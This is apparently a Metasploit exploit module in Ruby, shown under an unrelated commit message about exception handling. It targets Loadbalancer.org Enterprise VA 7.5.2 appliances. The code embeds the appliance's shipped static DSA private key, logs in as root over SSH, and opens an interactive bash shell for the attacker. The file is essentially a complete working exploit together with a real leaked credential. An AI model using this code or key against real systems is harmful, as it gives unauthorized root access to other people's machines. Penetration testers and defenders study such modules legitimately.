HD Moore
6b4eb9a8e2
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically: 1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed 2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat ed to use InvalidDestination as that was the intention prior to this change. Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
144 lines
4.2 KiB
Ruby
144 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'net/ssh'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info, {
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'Name' => 'Loadbalancer.org Enterprise VA SSH Private Key Exposure',
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'Description' => %q{
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Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances
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version 7.5.2 that allows passwordless authentication to any other LB Enterprise box.
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Since the key is easily retrievable, an attacker can use it to gain unauthorized remote
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access as root.
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Targets' => [ [ "Universal", {} ] ],
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'Payload' =>
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{
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'Compat' => {
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find',
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},
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},
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'Author' => 'xistence <xistence[at]0x90.nl>', # Discovery, Metasploit module
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html']
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],
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'DisclosureDate' => "Mar 17 2014",
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'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
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'DefaultTarget' => 0
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}))
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register_options(
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[
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# Since we don't include Tcp, we have to register this manually
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Opt::RHOST(),
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Opt::RPORT(22)
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], self.class
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)
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register_advanced_options(
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[
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OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
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OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
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]
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)
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end
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# helper methods that normally come from Tcp
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def rhost
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datastore['RHOST']
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end
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def rport
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datastore['RPORT']
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end
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def do_login(user)
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opt_hash = {
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:auth_methods => ['publickey'],
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:msframework => framework,
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:msfmodule => self,
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:port => rport,
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:key_data => [ key_data ],
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:disable_agent => true,
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:config => false,
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:record_auth_info => true,
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:proxies => datastore['Proxies']
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}
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opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
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begin
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ssh_socket = nil
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::Timeout.timeout(datastore['SSH_TIMEOUT']) do
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ssh_socket = Net::SSH.start(rhost, user, opt_hash)
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end
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rescue Rex::ConnectionError
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return nil
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rescue Net::SSH::Disconnect, ::EOFError
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print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
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return nil
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rescue ::Timeout::Error
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print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
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return nil
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rescue Net::SSH::AuthenticationFailed
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print_error "#{rhost}:#{rport} SSH - Failed authentication"
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return nil
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rescue Net::SSH::Exception => e
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print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
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return nil
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end
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if ssh_socket
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# Create a new session from the socket, then dump it.
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conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash', true)
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ssh_socket = nil
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return conn
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else
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return nil
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end
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end
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def exploit
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conn = do_login("root")
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if conn
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print_good "#{rhost}:#{rport} - Successful login"
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handler(conn.lsock)
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end
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end
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def key_data
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<<EOF
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-----BEGIN DSA PRIVATE KEY-----
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MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
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Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
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yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
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rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
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t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
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cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
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TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
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MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
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2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
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SzmJVCWFyVuuANR2Bnc=
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-----END DSA PRIVATE KEY-----
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EOF
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end
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end
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